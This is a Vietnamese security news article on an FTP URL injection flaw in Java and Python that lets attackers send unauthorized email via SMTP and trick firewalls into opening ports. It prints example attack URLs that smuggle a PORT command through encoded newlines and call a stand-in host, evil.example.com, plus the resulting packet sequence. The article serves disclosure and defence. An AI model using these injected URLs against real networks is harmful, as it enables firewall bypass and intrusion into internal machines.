Lỗ hổng Bypass tường lửa thông qua FTP Injection

lo-hong-bypass-tuong-lua-ftp-injection-logoHai ngôn ngữ lập trình Java và Python hiện đang có lỗ hổng bảo mật tương tự nhau, lỗ hổng FTP injection, có thể được khai thác để gửi email trái phép và bypass bất cứ tường lửa nào.

 

 

Lỗ hổng nằm ở cách Java và Python xử lý đường dẫn FTP, do không kiểm tra cú pháp tham số username.

Gửi emails trái phép.

Nhà nghiên cứu bảo mật Alexander Klink đã mô tả chi tiết về lỗ hổng FTP injection trong của Java, cho phép kẻ tấn công tiêm các lệnh không phải FTP vào bên trong 1 yêu cầu kết nối FTP.

Nếu gửi một lệnh USER đến máy chủ mail server thay vì một máy chủ FTP server, sẽ trả về một ngoại lệ (USER không phải là một lệnh SMTP hợp lệ). Tiếp theo, thiết lập các tham số như sau:

ftp1

Khi FTP client kết nối sử dụng URL này, các lệnh sau sẽ được gửi đến mail server:

ftp2

Alexander đã cho thấy làm thế nào để gửi đi một email trái phép thông qua SMTP trong kết nối FTP, mặc dù kết nối FTP bị thất bại (trả về một ngoại lệ, máy chủ FTP không hỗ trợ xác thực) nhưng email vẫn thực sự được gửi đi không hề kiểm tra sự hiện diện của ký tự xuống dòng (LF) hoặc ký tự về đầu dòng (CR).

python-java-ftp-protocol-injection-firewall

Bypass Firewall

Nhà nghiên cứu bảo mật Timothy Morgan đã cho thấy một kịch bản khai thác khác, xử lý FPT URL trong Java và Python có thể được sử dụng để bypass tường lửa, lừa tường lửa của nạn nhân chấp nhận kết nối TCP từ web vào hệ thống máy chủ bị ảnh hưởng (port 1024-65535). Với Python, lỗ hổng trong thư viện urllib2 và urllib. Với trường hợp Java, cuộc tấn công này có thể được thực hiện đối với người dùng máy tính để bàn ngay cả khi những người dùng máy tính để bàn không hề kích hoạt các plugin trình duyệt Java.

Bên cạnh FTP injection, “ là một cơ chế không an toàn của tương tác client-server FTP, nhưng nhiều nhà cung cấp tường lửa vẫn hỗ trợ nó. Sử dụng lỗ hổng FTP injection trong Java và Python, một kẻ tấn công biết địa chỉ IP nội bộ các máy mục tiêu có thể bắt đầu một kết nối .

Kẻ tấn công có thể tiêm một lệnh PORT độc hại vào đúng thời điểm. Khi tường lửa thấy điều này, nó sẽ dịch các địa chỉ IP và cổng nội bộ thành một địa chỉ và cổng bên ngoài, và sau đó kích hoạt NAT tạm thời để cho phép một kết nối TCP, chuyển tiếp nó cho FTP client.

Giả sử nạn nhân có một địa chỉ IP nội bộ là 10.1.1.1 và tấn công được tổ chức tại máy chủ evil.example.com. Sau đó, kẻ tấn công sử dụng các URL FTP sau để đánh lừa và hy vọng tường lửa mở cổng 1337:

ftp://u:p@evil.example.com/foodir%0APORT%2010,1,1,1,5,57/z.txt

Morgan đã xác định rằng một kẻ tấn công có thể mở ra một cổng của tường lửa mục tiêu chỉ với ba yêu cầu:

  1. Xác định địa chỉ IP nội bộ của máy nạn nhân

Kẻ tấn công cần phải biết địa chỉ IP nội bộ của nạn nhân (hoặc của máy khác mà tường lửa sẽ bỏ qua lệnh PORT). Có thể gửi một URL, trỏ đến một cổng bất thường trên máy chủ của kẻ tấn công, xem xét phản hồi từ máy nạn nhân, thực hiện cho đến khi thành công. Ví dụ:

ftp://u:p@evil.example.com:31337/foodir/z.txt
  1. Xác định liên kết gói tin và đảm bảo rằng các lệnh PORT được tiêm đúng lúc, làm cho việc tấn công được hoạt động. Phải tìm cách để buộc các client gửi lệnh PORT lúc bắt đầu của một gói tin.
ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt

Các lệnh gửi đi từ máy nạn nhân được thể hiện như sau:

--Packet 1--
USER u
--Packet 2--
PASS p
--Packet 3--
TYPE I
--Packet 4--
CWD foodir
PORT 10,1,1,1,5,57
--Packet 5--
...

Điều gì sẽ xảy ra nếu lệnh CWD thực hiện đủ lâu cho đến khi lấp đầy chính xác một gói tin TCP? Khi đó lệnh “PORT…” sẽ buộc phải bắt đầu từ đầu của gói tin tiếp theo.

  1. Khai thác lỗ hổng.

Tuy nhiên, nhà nghiên cứu cảnh báo rằng khai thác có thể được sử dụng cho các cuộc tấn công Man-in-the-middle (MITM), S (SSRF), XEE, … – và một khi bypass được tường lửa, máy nạn nhân có thể bị tấn công ngay cả khi máy tính để bàn của họ không cài đặt các plugin trình duyệt Java. Tất cả những gì kẻ tấn công cần làm là lừa các nạn nhân vào truy cập vào một ứng dụng độc hại Java hay Python được cài đặt trên một máy chủ để bypass toàn bộ tường lửa.

Morgan cho biết 1/2016 lỗ hổng FTP injection đã được báo cáo với đội Python và 11/2016 cho Oracle, nhưng không thấy ban hành bất kỳ bản cập nhật để giải quyết vấn đề này. Morgan nói rằng các kịch bản khai thác mà ông phát triển sẽ không được phát hành cho đến khi cả Oracle và Python công bố và phát hành bản vá lỗi.

Khai thác của Morgan đã được thử nghiệm thành công chống Palo Alto Networks và tường lửa Cisco ASA, nhà nghiên cứu tin rằng nhiều tường lửa thương mại cũng rất dễ bị tấn công tương tự.

Vì vậy, cho đến khi bản vá lỗi xuất, Morgan khuyên người dùng gỡ bỏ cài đặt Java trên máy tính để bàn và trong các trình duyệt, cũng như hỗ trợ vô hiệu hóa chế độ classic mode FTP trên tất cả các tường lửa.

Nguồn : VNPTCert

Ads

https://vnitnews.com

Leave a Reply

Email của bạn sẽ không được hiển thị công khai.